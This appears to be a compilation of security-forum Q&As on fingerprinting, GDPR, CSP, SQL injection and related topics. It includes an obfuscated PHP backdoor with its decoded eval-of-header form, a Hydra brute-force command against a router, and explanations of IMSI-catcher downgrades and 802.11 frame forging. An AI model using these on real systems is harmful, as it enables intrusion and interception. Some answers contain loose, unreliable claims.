How does Facebook really identify requests? Today I have discovered something very strange. It seems like Facebook is playing some kind of unfair game for identifying one's online identity. So, here is what I have done: I have a regular Facebook account, everything is OK. It becomes interesting when I try to create another one using a Proxy running on a virtual machine with different MAC address (even though it is not broadcast) and everything. With that configuration Facebook is able to recognize me and prompts identity check(as I'm creating "Fake" account). They are so good at identifying me that my real profile is shown as recommended friends. How is this even possible since the only thing they get is a HTTP/S request originating from unknown IP, that the "real" profile never used? What information about my machine is sent to their server?
PS: This is for informational purpose only, I am making my research and conclusions. No funny business!

Actually I started to comment until I guessed my comment is too long ... anyway:

Whatever the settings methods you used to deploy SOCKS5 that you mentioned in your comments to hide your IP, surely Facebook does not rely on IP addresses to identify its users  because IP addresses could be the same if the users are, for instance, behind a corporate firewall, as are the users' reported locations, and users can modify their IP address at will.

There are many elements to consider. For example, in the case your VM operating system is the same as your host's one then this could be used in junction with your typing fingerprint -as for Google, banks ...etc-(there are  algorithms designed to capture and analyze the keystroke dynamics), plus, when you install a virtual machine you are, by design, sharing lot of information, (including your host IP address and hostname), between it and the host machine leading not only to detect they are the same machines but even to viral infection (which can work in both sides). Those shared information could be used to detect your  device and your some other data using browser (interesting to read) and Etag fingerprinting that can be used to check if two resources (host/VM in our case) if they are identical (in case of bridge-mode networking ?)

What I want to say that Facebook does not rely on IP addresses to identifiy uniquely its users, so whether you hide it or not, that is not that important.

Your experience with Facebook remembers me of my own experience with few  StackExchange websites. When I started to use this website in the first days, and after reading an answer on this website where it is stated that:

  Assuming that you can use TOR or a VPN or an openshell anywhere to
  tunnel away your IP address, the "safest" practice in my opinion would
  be to fire up a virtual machine, install a stock Windows Seven on it,
  and use that for any privacy-sensitive operation. Do not install
  anything unusual on the machine, and it will truthfully report to be a
  stock Windows Seven machine, one between a horde of similar machines.

So I created around 20 VMs with different OS versions where the host machine uses a private IP address. I have been detected and suspended; I was not even able to create a new profile on new VMs even after changing the host machines (I even used one server to by pass the suspension).

Why do I mention finally my own experience on here ? To tell you that maybe the moderators of this website are the ones who could answer you but don't hope because they won't. But why ?

The why is the final answer: as on here, Facebook and other similar systems use security through obscurity (among other things) so you can not know how exactly they are doing.

Further (interesting) reading.


Decryption given the first few characters of the decrypted file I have a .png file that is encrypted, but I know the first characters of the (decrypted) file are the highlighted/selected characters below (as they appear in notepad++). Can I decrypt the file if I don't know the key (but perhaps if I know the algorithm, mode, and/or key length). At worst, perhaps I could only try the key(s) that produce the first few characters and ignore the rest to decrypt it.

decrypted example:

the specific encrypted file's first few characters:

If you know the Algorithm and the Key length, we can tell you how hard it is to break the key.
For any decent encryption, the answer will be: no, you cannot decrypt the file without the key.

This is the whole point of encryption! Encryption Algorithms are designed so that they are secure if an attacker knows absolutely everything about it and the only thing he doesn't know is the key. This is called Kerckhoffs's principle


Which is considered the first Cyber Security incident? No matter we are talking about Information Security, or cyber security or IT security... I always hear first about "the moth" being the first security threat. But I don't believe it is when talking about cyber security.

I believe that the infamous MARK II moth is a computer related incident, and it is even a security incident which affected the integrity of the code MARK II was running. But I don't think we can consider this a "cyber" security menace.

I have also read (and I am more inclined toward this thought) that, in fact, the famous "blue boxes" might be the real first cyber security incidents.

Others think that the first cyber security incident was the first virus ever in ARPANET: "The Creeper", but I believe this is more a concept application than a real menace, so, here is my question,

Which event is consider the first cyber security incident? and,

Is there any other than, due to its importance or relevance could be considered than the first real one?

It is difficult to define when the word "computer" started getting traction and it is more difficult for the concept of "computer security".

To my mind, the first incident in computer security is the process that sparked the invention of the modern computer. That was the work of Alan Turing on the machine that broke the enigma encryption.

  The Enigma machine's use of a reliably small key space makes it
  vulnerable to brute force and thus a violation of CWE-326

While the Bombe was not a fully programable electronic computer (Colossus was the first), security was not an issue until the time-sharing paradigm has been introduced in the 60's. That's when authentication and authorisation were introduced because people would not respect their time slot and resources. The first international conference on computer security in London in 1971 was primarily driven by the time-sharing industry and its customers.

This is a timeline of meaningful computer security events.


Does GDPR apply for volatile data GDPR aims to set standards (and requirements) on how sensitive data should be stored. Although, I couldn't find any information on how (or if even) GDPR applies for sensitive data in a volatile state.

As an example, what if we are in the process of collecting data about users (with their consent) to store it. Although, this data goes through the machines RAM (as everything else that runs on the computer) where it could potentially be intercepted by malware therefore potentially enable leakage of sensitive information.

Is there a section in GDPR that addresses sensitive data in a volatile form or is it a potential loophole? (Mainly thinking about if the data should be encrypted while in-memory)

The GDPR isn't just about storing sensitive data, but it's more general. In fact, it's actually about processing personal data. Here are a few interesting quotes from the GDPR that you might want to consider (emphasis added):

Article 2(1) - This Regulation applies to the processing of personal data wholly or partly by automated means and to the processing other than by automated means of personal data which form part of a filing system or are intended to form part of a filing system.
Recital 15 - In order to prevent creating a serious risk of circumvention, the protection of natural persons should be technologically neutral and should not depend on the techniques used.
Article 4(6) - ‘filing system’ means any structured set of personal data which are accessible according to specific criteria, whether centralised, decentralised or dispersed on a functional or geographical basis;
Article 32(1) - Taking into account the state of the art, the costs of implementation and the nature, scope, context and purposes of processing as well as the risk of varying likelihood and severity for the rights and freedoms of natural persons, the controller and the processor shall implement appropriate technical and organisational measures to ensure a level of security appropriate to the risk, including inter alia as appropriate: [...]
Article 32(3) - Adherence to an approved code of conduct as referred to in Article 40 or an approved certification mechanism as referred to in Article 42 may be used as an element by which to demonstrate compliance with the requirements set out in paragraph 1 of this Article.
Article 40(2) - Associations and other bodies representing categories of controllers or processors may prepare codes of conduct, or amend or extend such codes, for the purpose of specifying the application of this Regulation, such as with regard to: [...] the measures to ensure security of processing referred to in Article 32;
Article 42(1) - The Member States, the supervisory authorities, the Board and the Commission shall encourage, in particular at Union level, the establishment of data protection certification mechanisms and of data protection seals and marks, for the purpose of demonstrating compliance with this Regulation of processing operations by controllers and processors. [...]

To sum up, if you process personal data in an organized way, the GDPR applies to it. An array of strings containing personal data stored in volatile RAM could be considered a "filing system", for example. The GDPR doesn't tell you any details about the security controls you should implement. However it does tell you that it all depends on the level of security appropriate to the risk, and it also tells you that you there might be certification bodies or specific codes of conduct for certain fields that will help you demonstrate compliance. In other words, if you are processing email addresses for the purpose of managing a simple student's blog, your security requirements will definitely be very simple. On the other hand, if you run a business that deals with health data, chances are you need to consult a lawyer (or more than one), and think about getting some ISO certifications for example.


How safe is it to allow JS CDNs in a HTTP content security policy? I am tasked with adding a content security policy to a whole bunch of Magento stores to protect against credit card scraping code, which can sneak in via the store admin or GoogleTagManager* when a password leaks. Many of these stores are including assets (jQuery, Bootstrap, FontAwesome) from various CDNs (CDNJS, GoogleCDN).

In order for the resources to load, I will need to whitelist the entire CDN host.** This got me thinking:

What is the likelihood that a malicious actor could get their own malicious code added to one of these CDNs?

The alternative to whitelisting the CDN would be to move each CDN resource into the store's own codebase. That'd be extremely tedious and error prone, so I'd like to avoid that if possible.

* CSPv3 solves this problem by allowing whitelisting of a specific resource path, but browsers likely won't support CSP3 for a long time as CSP2 still has limited support.

** I'm aware that the best solution here would be prevention of password leaks, but that is largely out of my control as clients regularly give marketing companies admin access to these resources.

Edit: After thinking more about this, whitelisting the CDNs themselves should not be an issue if the only objective is to prevent sensitive data from leaking to a 3rd party. That's because the CDN is only serving static files, and the malicious actor would still need to send the data to some server that can accept and store dynamic the data payload of PII/card data. Hoping that someone can validate or debunk this theory.

Hopefully , it will be very hard to insert clearly malicious code into a CDN.

Is CDN code highly likely not to be malicious? Yes

Should you the CDN domains be whitelisted for an ecommerce ? No (*)

It is possible that a CDN can be compromised. They have in the past (and there are many kinds of CDN, and each will have their own security practices), but I find very unlikely that a malicious file placed there.

In my opinion, the main risk would be a downgrade attack, Since these CDN usually have many versions of the libraries, an attacker that was unable to load his own code could take advantage of that in order to force it to load a vulnerable version of $LIBRARY instead of the latest one which it used. A 'vulnerable version' in this context could be for instance one that didn't sanitize parameters and allowed injecting specific javascript where only a file injection was possible before. It would require quite a deal of skill to craft such escalation, though (then any script-kiddie could copy it).

Now, if you were tasked with securing your company store(s), I would argue that you should not allow these third parties to load javascript on your site. Not as much for there being a big risk, but because it would be trivial to counter it. Suppose that the site does end up being compromised, with credit card data stolen. I would expect to be asked "You put a nice security measure (CSP) here, why did you exempt these hosts?" and "I thought it would be hard to compromise them" doesn't seem a like specially strong reason.

Perhaps you could find out a formal reason for excepting them, such as them holding X certification or passing certain security audits. This is probably what you will do for excepting the payment processor, ("it is eligible for being exempted as it is PCI-DSS certified"). But while some CDNs will probably pass that bar, here it is much easier to just copy locally the few files you need.

Having a clear policy will also be helpful when someone requests a new exemption (why won't you allow shadyhitcounter.com? You are already allowing GoogleCDN!), and requiring an approval process for adding a new script ("why do you need to load this script deprecated 10 years ago? Here, see this improved version over the sample you copied from the web").

Now, while my answer for that is a straight No if you were securing your shops, I softened it to No (*) given that you seem not to be protecting your own stores, but to be in a middle situation, such as a hosting provider struggling to secure them in a best-effort basis but no control over the content.

Needless to say, it is obviously preferable to have a weak CSP than no Content Security Policy at all. And the fact that untrusted people routinely get admin privileges seems like a security nightmare on its own!

(note that by "untrusted" I do not mean you have to be malicious, it may just mean that you have not proved that you are not a security inept)

I'm not sure how CSP-ready Magento is. In the likely event that you need to allow unsafe-inline, an attacker that could write javascript there will be able to come up with a way to exfiltrate it (even if it requires a bit of user interaction for navigation).

As important as getting a sane-enough policy, it is IMHO that you set a report-uri and actually review them somehow, as they are very likely to provide an early heads-up on any site compromise. Be aware however that there will be false positives, and impossible blocks. I have seen CSP block URLs that are nowhere to be found in the page. I ended up concluding that in some cases they must have been added by browser plugins (maybe malicious, maybe not).

Regarding the difficulty of moving the code locally, please note that -since you are apparently in control of the webserver- it would be quite easy to replace the CDN domains in the html output with the local hostname / your own domain used for cdn resources, with minimal risks.

Finally, let me link you to the I’m harvesting credit card numbers and passwords from your site. Here’s how. article by David Gilbertson. Their objections FAQ are really valuable on how a careful attacker might sneak by.


Can a mobile phone be induced to fall back to 2G comms? http://techcrunch.com/2015/02/25/gemalto-2/

So, a bunch of SIM card keys were most likely stolen, but Gemalto claims that this would only affect 2G networks.

Supposing all that is true, it's still the case that 2G networks exist alongside the 3G and later networks.  Is that enough to effect an intercept?

Would it be possible then to cause connections  3G or later networks to fail, so that devices would fall back on the compromised 2G network?

What specifications would I need to be familiar with to understand this stuff?

Yes it's possible. Not sure if you know how IMSI catchers operates.

An IMSI catcher blocks the smarter 3G and 4G signals, forcing mobile phones in the area to switch to the unsecured 2G service — something that phones also do routinely in more rural areas, where 2G service is widespread.

The IMSI catcher then poses as a tower and "catches" signals.

The IMSI catchers take advantage of a vulnerability built into the system. Phones using 3G or 4G technology can authenticate cell towers, but phones on older 2G systems cannot tell between real and fake towers.

IMSI catchers hijack the phone's signal and intercept the contents of calls and texts.

The government agencies and law enforcement can use these, but you can always buy one on the black market or build one yourself.

You can find a lot of information on the internet about IMSI catchers


Risks in avoiding AdBlock detection by importing cookies or simulating the displaying of ads I've increasingly been finding that many of the websites that I access have now been requesting whitelisting by my adblocker.

Sites that do this like Forbes, NDTV, do not allow you to proceed until the domain is whitelisted:

Is there a general list of ways in which adblockers are detected?

Can't the adblocker download and render content in some form of invisible sandbox to trick the website's detection script? Some solutions involve importing fake cookies or modifying Javascript. Can any of these techniques be used safely, without actually allowing ad-providers from tracking me?

The way these scripts work is by trying to detect if a HTML element that is supposed to be holding the ad exists or is empty since adblocks methods are to remove the content from the page.

Adblocker's don't have much to do about it since they remove the elements/empty them which can be easily detect by Javascript with some code as the following:

if (document.getElementById('adelement')){
   console.log("No ad blocker detected.");
}else{
   console.log("You're using an Adblocker!");
}

The ideal solution would be to detect the Javascript that is checking for an adblocker while clearing the cookies to ensure privacy so you wont be tracked.

  Can any of these techniques be used safely, without actually allowing ad-providers from tracking me?

If the adblocker does indeed clear your cookies which is the main source of identification for the ad providers your privacy will be enhanced.

Some other ways adblockers work:

Element with attributes that have the word ad in them
Scripts being loaded that have the word ad in them in any sort of way.
Find a url that is generally used for ads (For example google ads) and block the network request causing the ad not to load (The url is usaully detected from a blacklist of ad websites).


Obfuscated php code found on the server I found this piece of code hosted on my website I'm sure it's a malware.
Any have an idea what this script does or how to deobfuscate?

<?php
$nkIL3_='Hn'&~hTzup;$TTCpX='HEr@D@(DEi&'|'HD"AN`(T$I.';$fGZGQD2=l5fg.'{3Ht&d~'&'|,'./*'.
    'gri*/Nenwkf.'|3n';$u4avG3='K|P'^".<t";$n9s='om|wo~'&'om}e~~';$cX8W='O]P'^#gg_'.
    '#9e';$iPPiO='%'.q6nfB|sUuI.')6';$pU9KRba5mS='Ov~'&'x]U';$pGocQU=P&P;'GDQNB1wL'.
    ']lYd2GC]o';$SEAp9cm9=_a&_M;$CBiIA=iUVv_Z_UR_OOwCIP_iO&'^'.vTY_.'|'./*RKGtqf6J'.
    'Zc*/_Wu_DEVOcx_I.'}';$QjgmVTedxc="M@"|AE;$oyL1tNw='j3x s'^'.'.l9l6;$gI_Y=#Rsx'.
    ',)'^'~}';$pai4hk=$TTCpX|$fGZGQD2;$KaQhBHF8=$u4avG3|$cX8W;$Hz=$n9s&$iPPiO;'jH2'.
    '5r';$JeFqqp=(' '.bb3ra5.'`14@#$11t&7G4-'.Bb6y.')% 92E '|'5gB9@!!qS%2B0%8W0!fC'.
    'X&v-'.Z16w0.'$u4')&("VOW@F.H^N0f*/".CkOjFNlm."&}Y|6EOA)VH"^'()9}'.rMw1.#udQP_'.
    '}ET]'.QtTxUq.'([YHM.@D2p:Si<');if(!$pai4hk($KaQhBHF8($Hz($pU9KRba5mS./*yPL33m'.
    'Y,:(gnZ~9*/$pGocQU.$SEAp9cm9)),$JeFqqp))eval($Hz($CBiIA.$QjgmVTedxc./*X1lpmOJ'.
    '|-$J*/$oyL1tNw.$gI_Y));#d={{x(o$W#fd5B|}h-_Jgj_.9z[.XU^Iu1ZY6w;9!w xNxzp~bG^'.
    '}XB}zIH.|qChIrS(l5GFy?b#lA*:.!FHk0XG8v-a3GwnSkyI|vWMErYG~8hT!H%FlxPK';

It is a very obfuscated way of doing this:

eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

This alone won't do anything until someone views the page with the HTTP_X_UP_DEVCAP_IMMED_ALERT header set, then the content of this header will be executed on your webpage. It looks like someone wants to execude code, perhaps for a botnet.

If you are interested in this code, you can see a version on pastebin with a little more formatting and comments above each line with the values of variables and function calls etc. Please note that I've commented out the eval call to prevent accidents in case I missed something (but I thing I got everything)

EDIT
I've put a new version on pastebin,  basically this is what's executed:

if(!levenshtein(md5(getenv(HTTP_A)), '4fb90a5a352c459767f74f0780779254'))
    eval(getenv(HTTP_X_UP_DEVCAP_IMMED_ALERT));

IMPORTANT

I am almost sure that there is more on your webspace, you should search really well.


What to do after a co-worker has been phished? One of our co-workers followed a phishing link and entered their Google for Business account credentials. We have reset their password, is there anything else we need to do? (We also used this as a reminder for everyone to enable two factor authentication.)

The mail was also sent in their name to our staff mailing list (in BCC), so I assume it was also sent to other contacts in the address book. The headers indicate it was sent via Gmail, not from an external SMTP server (we have SPF records that only allow Gmail). Can we see who else got this mail, and is it useful to send a warning to them?

Block the phishing link in the company firewall. If the co-workers only read their mails in the office, this would suffice. But this seems highly unlikely. Further steps if the co-workers use company laptops, block the link on the laptop firewall too. Lastly, if they access it from any other personal device, make sure they know a phishing mail is going around which they should not click on. Attach a screenshot to the mail you sent around, on how the mail looks like. Besides that there is not much you can do other than scanning the computers where the link has been opened. Malware could have been installed through a drive-by download. Where malicious applications get installed through browser vulnerabilities. Hope this helps! Good luck


THC Hydra 16 Valid Passwords? So when I do hydra -l Admin -P "rockyou.txt" -s 80 192.168.13.1 http-get / it doesn't work for me. It says all 16 passwords are valid, but none of them works. Can anyone help me with this? I tried googling and found others having this issue, but none of them were descriptive enough for me to resolve this. I'm using a D-Link DIR 655 router, and that's what I want to try to bruteforce, but all the passwords it tries are valid (16 for that matter).

I tried Hydra on an HTTP-POST web form and I kept getting false positives. After a lot of research and googling tutorials it turns out I did not identify the "failure response". When the login fails, the server replies with a failure response maybe a redirection or a string of text. I hope this points you in the right direction.


How to forge custom IEEE 802.11 packets? I read about 802.11 networks and found out that all the frames from client are directed to the AP. How can I forge IEEE 802.11 packets so that I can send them directly to the clients using the group encryption key and hence spoofing as the AP. In other words, how can I exploit the hole 196?

This is a good place to start:
WPA2-Hole196
The tools you are looking for are wpa_supplicant and madwifi.

The subject was presented in Defcon 18: dc18 archive
(Scroll down to "WPA Too!")


Why is "fhepfcelehfcepfffacacacacacacabn" a top DNS query from my devices? I recently set up NextDNS on my personal devices to further reduce the amount of tracking and ads I'm exposed to. The service comes with built-in analytics that shows a brief overview of your network activity.

Most of the top hits are uninteresting, however there's one domain I couldn't figure out:

What's the domain fhepfcelehfcepfffacacacacacacabn?
The seemingly random string gives roughly two pages of Google results, but none of them seem to hold any useful information.

The log table says the entry is a DNS record of type NIMLOC, but that seems like another dead end inquiry-wise.

That domain is an encoded form of the string "WORKGROUP". It is using a variant of hex encoding that uses the letters A-P, instead of the numbers 0-9 followed by A-F.

$ echo fhepfcelehfcepfffacacacacacacabn |
  tr a-p 0-9a-f |
  xxd -r -p |
  xxd

00000000: 574f 524b 4752 4f55 5020 2020 2020 201d  WORKGROUP      .

This appears to be a NetBIOS name, which is why it's padded with spaces to 15 ASCII characters, and then followed by a different character at the end as a suffix. The hex encoding is described in the NetBIOS-over-TCP/UDP Concepts RFC, called "first level encoding". Also, NetBIOS uses DNS record type ID 32 for its "name service" packets; that ID was later allocated to NIMLOC (ref), which explains that part of the log. However I'm not sure exactly what software on your machine is making this DNS query; if you're using Windows, it seems likely to be something at the OS level.

I don't believe the answer from NextDNS support is correct here about the source of this particular query—it is probably not coming from Chrome.


Can smart power meters read key presses on a wired keyboard? Smart power meters are becoming quite prevalent. Question: Can a smart power meter (with patched firmware) read the keys pressed on a wired PS/2 or USB keyboard, connected to a desktop computer? What about a laptop (connected with RJ45 Ethernet, and/or AC adapter)?

This seems like an attractive attack vector for different attackers, especially if the smart power meters can have their firmware remotely updated.

I assume the smart power meter must have the ability to sample the voltage at a high enough frequency to be able to do this. I assume the hardware specifications would depend completely on the make and model of the smart meter, although perhaps it is entirely unreasonable due to cost to assume it has the ability to do this. However, the frequency at which a USB keyboard operates is to my understanding not very high.

How can it be mitigated?

Some papers describe attacks that allow a PS/2 and USB keyboard to be read by listening on the power plug. The basic principle, as I understand it, is that crosstalk between ground and the data wire(s) will propagate. From the data wire, to the ground wire, to the power supply, and finally onto the electrical grid. Despite significant noise from other devices, the signal can in some cases still be recovered, for PS/2.

Would a trivial mitigation for this simply be to use ungrounded power cables? Or could the same crosstalk still be measured between the live and neutral wire? I assume yes, but an explanation would be nice.

Here are a couple papers I found, if there are better ones that perhaps already answer my questions, please link them in.

http://www.blackhat.com/presentations/bh-usa-09/BARISANI/BHUSA09-Barisani-Keystrokes-PAPER.pdf

https://www.usenix.org/conference/usenixsecurity17/technical-sessions/presentation/su

None of these two address my questions exactly, but are related.

The first paper states:

"It is believed that USB keyboards are not affected by this attack as they
use differential signaling for cancelling the noise, though USB
microcontrollers within the keyboard are much more noisy than PS/2 ones and
there is a chance that some fortuitous emanations might be present."

The second paper is more concerned about USB hubs in particular. If it was trivial to extend this onto the electrical grid, I would have assumed it was included, but again an explanation would be nice.

It is extremely unlikely that a smart meter would be able to read the keystrokes off a keyboard, even with custom firmware. Doing that requires three things which a smart meter lacks:

An extremely accurate power monitor with a high sample rate.
Samples are typically taken every 30 minutes, but can be taken as fast as 6 times per second. This is not enough to monitor the rapid power use variations of a keyboard microcontroller.

A large and high-speed storage system to record raw samples for later processing.
According to at least one standard for smart meters, they must be able to store 13 months-worth of data consumption information at 30 minute sample intervals. This is not very much.

A powerful processor (or FPGA) capable of filtering out the noise.
A quick search for random technical specifications for a smart meter show one example running an ARM Cortex M4, with 256 KiB of system memory. This is not nearly sufficient.

Smart meters have several options for monitoring power: shunt resistors, Rogowski coils, Hall-effect sensors, and current transformers. As far as I am aware, none of these techniques have accuracy greater than +/- a few milliamps. Accuracy of Rogowski coils, for example, can be up to 0.5%, although manufacturing tolerances often result in it being as low as 5%. Monitoring an 8051 processor with a high-precision sensor connected directly to the microcontroller power source requires at least 12 bit sample size, with the sample rate being an integer multiplication of the clock source (millions of times per second at a minimum). Traditional power monitoring solutions cannot accomplish this.
There has been a paper from 2009 on this subject which focuses on both USB and PS/2 keyboards, and details a number of techniques to analyze the keystrokes. While the paper focuses on EMSEC (compromising electromagnetic emanations), the concepts involved should be fairly similar. A single recording had to be processed for two seconds by a powerful processor. A dedicated FPGA would be required to analyze the samples in real time, not a low-power ARM processor.
Now, there are privacy concerns with smart meters. At a high enough sampling rate, they can determine what channel is being viewed on a television, as the net power usage from the screen varies based on what is being displayed. I don't have a paper to link to, so this is just from memory. It may or may not apply to modern LCD displays where the power usage is roughly similar regardless of what is displayed. But are they able to perform efficient power analysis attacks against low-power microcontrollers in an entire home full of devices, using nothing more than a firmware update?
Virtually impossible.


 Organizing information during a pentest
Currently I'm on my way to becoming a full time pentester, which means I do a bunch of CTF challenges and try to break labs that have been set up for me.

The only issue I'm currently facing is how to organize my information, I tend to start out with a bunch of raw data ranging anywhere from nmap scans to manual testing through netcat.

Is there a way to neatly organize all this information or is there software available for me to do this? (I'm using kali for all of my testing purposes so if it's included there: bonus points)

What data you keep and how you keep it is usually down to individual preference and the requirements of the organisation you work for. As such I'm not going to directly answer your question with a tool recommendation, but rather give you some tips that are agnostic to the testing approach and OS you use.

Most critically, do not overthink your process for organising data! A bloated approach will lead to you becoming lazy over time. You may not think so now, but after a year of continuous testing and reporting you'll get slack with it. Keep it simple and easy so that it doesn't feel like a burden.
Make a separate directory for each test. Give it a sensible name. We have assessment numbers, so I use those so that I can easily identify it. Keep all of these test directories under a single parent directory named something like "testdata" - sounds simple but I've seen people putting test data into three separate locations and mixing up results this way.
Keep a log of what you do and when you do it. I have a simple script for this - it just appends a line to a log file in the current directory, with a timestamp, so I can just type ptlog started nmap on box 10.20.30.40 and it'll write [2017-09-04 14:07] started nmap on box 10.20.30.40 to the file. You don't need to use the same method, it's just important to keep timestamped logs.
Don't just log technical stuff. Log the outcomes of conversations you had with the client, particularly if they involve problems with availability or changes to scope. Make sure you say who you spoke to and when. While it's rare that someone will try to dick you over, good logs are fantastic insurance when shit hits the fan.
If you're using Burp, Zaproxy, Maltego, Netsparker, or a similar tool that uses projects or state files, save them early so you don't data if/when the tool crashes. Burp used to be an absolute nightmare for this.
When using tools like nmap, dirb, sslscan, ssl-cipher-suite-enum, etc. that default to just writing content out to stdout, make sure you're either using the appropriate output settings to log the results (e.g. -oN, -oX in nmap) or are piping it out to a file. Name the file after the target. If you realise you did something wrong but still sent some packets, or needed to cancel the scan, do not overwrite the original log file when you re-run the command - rename the old log first.
If you're copying files from a client system, place them into their own folder and don't mix them up with another system's files. This avoids a lot of confusion later down the line when you're trying to work out why the production environment has a database box that is apparently configured to back up to the UAT or development instance, only to realise later that you mixed up the config files. It also makes you look like an idiot. (I can neither confirm nor deny that this is based on a personal experience)
BACK YOUR DATA UP. I cannot stress this enough. If you're doing any kind of long engagement with a client and you lose your entire set of testing data 5 weeks into a 6 week test, you're in serious shit. Chances are you'll need to re-assess a lot of things, which may require change requests that simply cannot be completed in time for the end of the assessment window. That leaves your organisation in a situation where you cannot deliver the assessment which you are contractually obliged to, and it's entirely your fault from a legal standpoint. Your company will probably give you a backup solution and I suggest that you use it frequently.


What are best practices to adhering to HIPAA encryption requirements? As HIPAA's language is somewhat vague when it comes to actual technical requirements, what are best practices for PHI encryption for HIPAA compliance?

I've seen varying levels at different organizations. Some just encrypt it in transfer, some when at rest as well. One organization I dealt with required PGP encryption of files even when transferring over SFTP.

I work in healthcare integration and dealing with encryption is a must.  If we are designing real-time HL7 interfaces to 3rd party vendors who are outside of our corporate network then we absolutely setup a full time dedicated and of course encrypted VPN connection between the two of us.  That's mostly because a lot of applications can't support SSL encryption on a HL7 TCP/IP interface (although most integration engines do).

When doing file transfers we insist on using FTPS (FTP over SSL) or SFTP (Secure File Transfer Protocol).  Some vendors require us to do PGP encryption and signing of files as well.

At a minimum you must have transport encryption.  On top of that, data encryption can only help.


How does Trusona avoid MITM and Social Engineering attacks? Trusona is a QR code login system, touted by the FBI and Frank Abagnale. It seems similar to Steve Gibson's Secure QR Login, SQRL and a frequent criticism of SQRL is that it is susceptible to Man In The Middle (MITM) attacks and social engineering. How does Trusona avoid or mitigate these attacks?

Trusona has two APIs and Trusona advises clients to use BOTH. 1) TruVerify - where you authenticate a login, as you have no other context yet. For example, when you login to a website, mobile app, call center etc. 2) TruFidelity - where you are asked AFTER you logged in if you can verify this transaction. For example, "ACME Bank would like to verify that you want to wire $1,000,000 from account ending with xxxx4321 to account ending with xxxx9876"

This API prevents the session hijacker from moving money or transacting EVEN IF they managed to steal your session from the login.

The architecture of the internet, the TCP/IP protocol does NOT have authentication built-in, so you have web servers and application servers separated from each other.

By using BOTH APIs, you eliminate the risk of MITB (Man in the browser) attacks, including session hijacking.

https://www.reddit.com/r/IAmA/comments/55u6a0/i_am_known_as_the_fraud_father_dedicating_my_life/d8e6xs0/


Are prepared statements 100% safe against SQL injection? Are prepared statements actually 100% safe against SQL injection, assuming all user-provided parameters are passed as query bound parameters?

Whenever I see people using the old mysql_ functions on StackOverflow (which is, sadly, way too frequently) I generally tell people that prepared statements are the Chuck Norris (or Jon Skeet) of SQL injection security measures.

However, I've never actually seen any documentation that categorically states "this is 100% safe". My understanding of them is that they separate the query language and parameters all the way to the front door of the server, which then treats them as separate entities.

Am I correct in this assumption?

Guarantee of 100% safe from SQL injection?  Not going to get it (from me).

In principle, your database (or library in your language that is interacting with the db) could implement prepared statements with bound parameters in an unsafe way susceptible to some sort of advanced attack, say exploiting buffer overflows or having null-terminating characters in user-provided strings, etc.  (You could argue that these types of attacks should not be called SQL injection as they are fundamentally different; but that's just semantics).

I have never heard of any of these attacks on prepared statements on real databases in the field and strongly suggest using bound parameters to prevent SQL injection.  Without bound parameters or input sanitation, its trivial to do SQL injection.  With only input sanitation, its quite often possible to find an obscure loophole around the sanitation.

With bound parameters, your SQL query execution plan is figured out ahead of time without relying on user input, which should make SQL injection not possible (as any inserted quotes, comment symbols, etc are only inserted within the already compiled SQL statement).

The only argument against using prepared statements is you want your database to optimize your execution plans depending on the actual query.  Most databases when given the full query are smart enough to do an optimal execution plan; e.g., if the query returns a large percentage of the table, it would want to walk through the entire table to find matches; while if its only going to get a few records you may do an index based search [1].

EDIT:  Responding to two criticisms (that are a tad too long for comments):

First, as others noted yes every relational database supporting prepared statements and bound parameters doesn't necessarily pre-compile the prepared statement without looking at the value of the bound parameters.  Many databases customarily do this, but its also possible for databases to look at the values of the bound parameters when figuring out the execution plan.  This isn't a problem, as the structure of the prepared statement with separated bound parameters, makes it easy for the database to cleanly differentiate the SQL statement (including SQL keywords) from data in bound parameters (where nothing in a bound parameter will be interpreted as an SQL keyword).  This is not possible when constructing SQL statements from string concatenation where variables and SQL keywords would get intermixed.

Second, as the other answer points out, using bound parameters when calling an SQL statement at one point in a program will safely prevent SQL injection when making that top-level call.  However, if you have SQL injection vulnerabilities elsewhere in the application (e.g., in user-defined functions you stored and run in your database that you unsafely wrote to construct SQL queries by string concatenation).

For example, if in your application you wrote pseudo-code like:

sql_stmt = "SELECT create_new_user(?, ?)"
params = (email_str, hashed_pw_str)
db_conn.execute_with_params(sql_stmt, params)

There can be no SQL injection when running this SQL statement at the application level.  However if the user-defined database function was written unsafely (using PL/pgSQL syntax):

CREATE FUNCTION create_new_user(email_str, hashed_pw_str) RETURNS VOID AS
$$
DECLARE
   sql_str TEXT;
BEGIN
     sql_str := 'INSERT INTO users VALUES (' || email_str || ', ' || hashed_pw_str || ');'
     EXECUTE sql_str;
END;
$$
LANGUAGE plpgsql;

then you would be vulnerable to SQL injection attacks, because it executes an SQL statement constructed via string concatenation that mixes the SQL statement with strings containing the values of user defined variables.

That said unless you were trying to be unsafe (constructing SQL statements via string concatenation), it would be more natural to write the user-defined in a safe way like:

CREATE FUNCTION create_new_user(email_str, hashed_pw_str) RETURNS VOID AS
$$
BEGIN
     INSERT INTO users VALUES (email_str, hashed_pw_str);
END;
$$
LANGUAGE plpgsql;

Further, if you really felt the need to compose an SQL statement from a string in a user defined function, you can still separate data variables from the SQL statement in the same way as stored_procedures/bound parameters even within a user defined function.  For example in PL/pgSQL:

CREATE FUNCTION create_new_user(email_str, hashed_pw_str) RETURNS VOID AS
$$
DECLARE
   sql_str TEXT;
BEGIN
     sql_str := 'INSERT INTO users VALUES($1, $2)'
     EXECUTE sql_str USING email_str, hashed_pw_str;
END;
$$
LANGUAGE plpgsql;

So using prepared statements is safe from SQL injection, as long as you aren't just doing unsafe things elsewhere (that is constructing SQL statements by string concatenation).


Is it possible to embed information that is both nearly invisible to the naked eye and decodable from an external camera? I am interested in watermarking a video for copyright purposes. The requirements are as follows:

The watermark must be barely noticeable to the naked eye.
The watermark must be able to be extracted from a device such as a smartphone camera.

Embedding a secret message where the raw data is available is fairly simple. It seems much harder when the data must me extracted from an external source where the details of the pixels are easily lost. Is this a hopeless effort?

Consider that you might not want what you are asking for. That is, if the purpose of watermarking is to prove that you authored it, your cuttingroom clips and outtakes are evidence enough - you can provide them, your violators cannot.

This does suggest a possible approach for the second use of watermarking, which is to identify who leaked the video.

This approach is frame removal. If you remove a tenth of a second here and there, it will not typically be noticed by those without access to your original footage. But it will be picked up by a camera.

Say in low-action scenes you remove a block of every 5th frame for half a second, and call that a "one"; or you don't remove them, and call that a zero. Your lead-in will be a string of ones, then a zero, then the ID, read right to left.

So say you read, in the recorded film, 111010110000....
then the 1110 is the lead-in, and the id is 00001101, or 0x0D. This is the 13th copy you gave out.

Synch the audio by cutting it, speeding it up, etc as appropriate.

